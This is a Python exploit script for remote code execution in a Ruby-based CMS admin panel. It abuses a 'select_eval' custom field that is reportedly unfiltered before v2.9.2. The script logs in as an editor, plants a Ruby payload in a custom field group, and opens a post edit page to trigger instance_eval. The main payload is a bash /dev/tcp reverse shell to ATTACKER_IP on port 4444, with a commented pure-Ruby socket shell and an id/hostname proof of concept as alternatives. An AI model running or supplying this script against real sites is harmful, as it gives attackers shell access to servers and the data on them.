import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")